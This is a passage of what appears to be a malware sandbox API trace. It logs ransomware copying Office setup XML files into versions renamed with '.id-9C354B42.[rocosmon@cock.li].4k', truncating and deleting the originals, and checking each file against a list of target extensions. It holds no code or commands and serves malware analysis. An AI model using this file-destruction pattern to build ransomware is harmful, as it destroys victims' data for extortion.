	[0100.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.451] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 1
	[0100.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0100.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0100.451] lstrlenW (lpString=".doc") returned 4
	[0100.451] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.451] lstrlenW (lpString=".docx") returned 5
	[0100.452] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.452] lstrlenW (lpString=".pdf") returned 4
	[0100.452] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.452] lstrlenW (lpString=".xls") returned 4
	[0100.452] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.452] lstrlenW (lpString=".xlsx") returned 5
	[0100.452] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.452] lstrlenW (lpString=".ppt") returned 4
	[0100.452] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0100.452] lstrlenW (lpString=".zip") returned 4
	[0100.452] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.452] lstrlenW (lpString=".rar") returned 4
	[0100.452] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.452] lstrlenW (lpString=".bz2") returned 4
	[0100.452] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.452] lstrlenW (lpString=".7z") returned 3
	[0100.452] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0100.452] lstrlenW (lpString=".dbf") returned 4
	[0100.452] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0100.452] lstrlenW (lpString=".1cd") returned 4
	[0100.452] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0100.452] lstrlenW (lpString=".jpg") returned 4
	[0100.452] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0100.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0100.453] lstrlenW (lpString=".doc") returned 4
	[0100.453] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.453] lstrlenW (lpString=".docx") returned 5
	[0100.453] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.453] lstrlenW (lpString=".pdf") returned 4
	[0100.453] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.453] lstrlenW (lpString=".xls") returned 4
	[0100.453] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.453] lstrlenW (lpString=".xlsx") returned 5
	[0100.453] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.453] lstrlenW (lpString=".ppt") returned 4
	[0100.453] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0100.453] lstrlenW (lpString=".zip") returned 4
	[0100.453] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.453] lstrlenW (lpString=".rar") returned 4
	[0100.453] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.453] lstrlenW (lpString=".bz2") returned 4
	[0100.453] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.453] lstrlenW (lpString=".7z") returned 3
	[0100.453] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0100.453] lstrlenW (lpString=".dbf") returned 4
	[0100.453] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0100.453] lstrlenW (lpString=".1cd") returned 4
	[0100.453] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103
	[0100.453] lstrlenW (lpString=".jpg") returned 4
	[0100.453] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.454] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.454] lstrlenW (lpString="SETUP.XML") returned 9
	[0100.454] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0100.465] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=4207) returned 1
	[0100.465] CloseHandle (hObject=0x1f4) returned 1
	[0100.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20
	[0100.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.465] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0100.466] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.466] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0100.469] GetLastError () returned 0x0
	[0100.469] ReadFile (in: hFile=0x1f4, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x106f, lpOverlapped=0x0) returned 1
	[0100.545] WriteFile (in: hFile=0x1e0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1070, lpOverlapped=0x0) returned 1
	[0100.546] ReadFile (in: hFile=0x1f4, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.546] WriteFile (in: hFile=0x1e0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0100.546] SetEndOfFile (hFile=0x1e0) returned 1
	[0100.546] CloseHandle (hObject=0x1e0) returned 1
	[0100.547] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.547] SetEndOfFile (hFile=0x1f4) returned 1
	[0100.547] CloseHandle (hObject=0x1f4) returned 1
	[0100.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.548] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 1
	[0100.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0100.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0100.548] lstrlenW (lpString=".doc") returned 4
	[0100.548] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.548] lstrlenW (lpString=".docx") returned 5
	[0100.549] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.549] lstrlenW (lpString=".pdf") returned 4
	[0100.549] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.549] lstrlenW (lpString=".xls") returned 4
	[0100.549] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.549] lstrlenW (lpString=".xlsx") returned 5
	[0100.549] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.549] lstrlenW (lpString=".ppt") returned 4
	[0100.549] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0100.549] lstrlenW (lpString=".zip") returned 4
	[0100.549] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.549] lstrlenW (lpString=".rar") returned 4
	[0100.549] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.549] lstrlenW (lpString=".bz2") returned 4
	[0100.549] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.549] lstrlenW (lpString=".7z") returned 3
	[0100.550] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0100.550] lstrlenW (lpString=".dbf") returned 4
	[0100.550] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0100.550] lstrlenW (lpString=".1cd") returned 4
	[0100.550] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0100.550] lstrlenW (lpString=".jpg") returned 4
	[0100.550] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0100.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0100.550] lstrlenW (lpString=".doc") returned 4
	[0100.550] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.550] lstrlenW (lpString=".docx") returned 5
	[0100.550] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.550] lstrlenW (lpString=".pdf") returned 4
	[0100.550] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.550] lstrlenW (lpString=".xls") returned 4
	[0100.550] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.550] lstrlenW (lpString=".xlsx") returned 5
	[0100.550] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.550] lstrlenW (lpString=".ppt") returned 4
	[0100.550] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0100.550] lstrlenW (lpString=".zip") returned 4
	[0100.550] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.550] lstrlenW (lpString=".rar") returned 4
	[0100.550] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.551] lstrlenW (lpString=".bz2") returned 4
	[0100.551] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.551] lstrlenW (lpString=".7z") returned 3
	[0100.551] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0100.551] lstrlenW (lpString=".dbf") returned 4
	[0100.551] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0100.551] lstrlenW (lpString=".1cd") returned 4
	[0100.551] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML") returned 103
	[0100.551] lstrlenW (lpString=".jpg") returned 4
	[0100.551] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.551] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.551] lstrlenW (lpString="ProjectMUI.XML") returned 14
	[0100.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0100.552] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1452) returned 1
	[0100.552] CloseHandle (hObject=0x1f4) returned 1
	[0100.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 0x20
	[0100.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0100.552] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.552] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0
	[0100.554] GetLastError () returned 0x0
	[0100.554] ReadFile (in: hFile=0x1f4, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x5ac, lpOverlapped=0x0) returned 1
	[0100.586] WriteFile (in: hFile=0x1e0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x5b0, lpOverlapped=0x0) returned 1
	[0100.587] ReadFile (in: hFile=0x1f4, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.587] WriteFile (in: hFile=0x1e0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xf0, lpOverlapped=0x0) returned 1
	[0100.588] SetEndOfFile (hFile=0x1e0) returned 1
	[0100.588] CloseHandle (hObject=0x1e0) returned 1
	[0100.588] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.588] SetEndOfFile (hFile=0x1f4) returned 1
	[0100.589] CloseHandle (hObject=0x1f4) returned 1
	[0100.589] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.589] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\projectmui.xml")) returned 1
	[0100.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0100.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0100.590] lstrlenW (lpString=".doc") returned 4
	[0100.590] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.590] lstrlenW (lpString=".docx") returned 5
	[0100.590] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0100.590] lstrlenW (lpString=".pdf") returned 4
	[0100.590] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.590] lstrlenW (lpString=".xls") returned 4
	[0100.590] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.590] lstrlenW (lpString=".xlsx") returned 5
	[0100.590] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0100.590] lstrlenW (lpString=".ppt") returned 4
	[0100.590] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0100.590] lstrlenW (lpString=".zip") returned 4
	[0100.590] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.590] lstrlenW (lpString=".rar") returned 4
	[0100.590] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.590] lstrlenW (lpString=".bz2") returned 4
	[0100.590] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.590] lstrlenW (lpString=".7z") returned 3
	[0100.590] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.590] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0100.590] lstrlenW (lpString=".dbf") returned 4
	[0100.590] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0100.591] lstrlenW (lpString=".1cd") returned 4
	[0100.591] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0100.591] lstrlenW (lpString=".jpg") returned 4
	[0100.591] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0100.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0100.591] lstrlenW (lpString=".doc") returned 4
	[0100.591] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.591] lstrlenW (lpString=".docx") returned 5
	[0100.591] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0100.591] lstrlenW (lpString=".pdf") returned 4
	[0100.591] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.591] lstrlenW (lpString=".xls") returned 4
	[0100.591] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.591] lstrlenW (lpString=".xlsx") returned 5
	[0100.591] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0100.591] lstrlenW (lpString=".ppt") returned 4
	[0100.591] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.591] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0100.591] lstrlenW (lpString=".zip") returned 4
	[0100.591] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.591] lstrlenW (lpString=".rar") returned 4
	[0100.591] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.591] lstrlenW (lpString=".bz2") returned 4
	[0100.591] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.591] lstrlenW (lpString=".7z") returned 3
	[0100.592] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0100.592] lstrlenW (lpString=".dbf") returned 4
	[0100.592] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0100.592] lstrlenW (lpString=".1cd") returned 4
	[0100.592] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\ProjectMUI.XML") returned 108
	[0100.592] lstrlenW (lpString=".jpg") returned 4
	[0100.592] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.592] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.599] lstrlenW (lpString="Proof.XML") returned 9
	[0100.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0100.599] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1347) returned 1
	[0100.599] CloseHandle (hObject=0x1f0) returned 1
	[0100.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20
	[0100.600] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.600] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0100.600] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.600] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
